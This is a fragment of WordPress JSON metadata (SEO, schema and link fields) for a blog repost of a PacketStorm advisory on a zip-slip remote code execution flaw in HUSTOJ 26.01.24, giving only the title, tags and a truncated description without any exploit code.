redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=51612","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:27&#8243;,&#8221;description&#8221;:&#8221;HUSTOJ version 26.01.24 suffers from zip-slip remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220383&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24479&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: HUSTOJ Zip-Slip v26.01.24 &#8211; RCEn # Date:...","og_url":"https:\/\/zero.redgem.net\/?p=51612","og_site_name":"zero redgem","article_published_time":"2026-05-05T17:49:18+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=51612#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=51612"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383","datePublished":"2026-05-05T17:49:18+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=51612"},"wordCount":2224,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=51612#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=51612","url":"https:\/\/zero.redgem.net\/?p=51612","name":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-05T17:49:18+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=51612#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=51612"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=51612#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51612","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=51612"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51612\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=51612"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=51612"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=51612"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}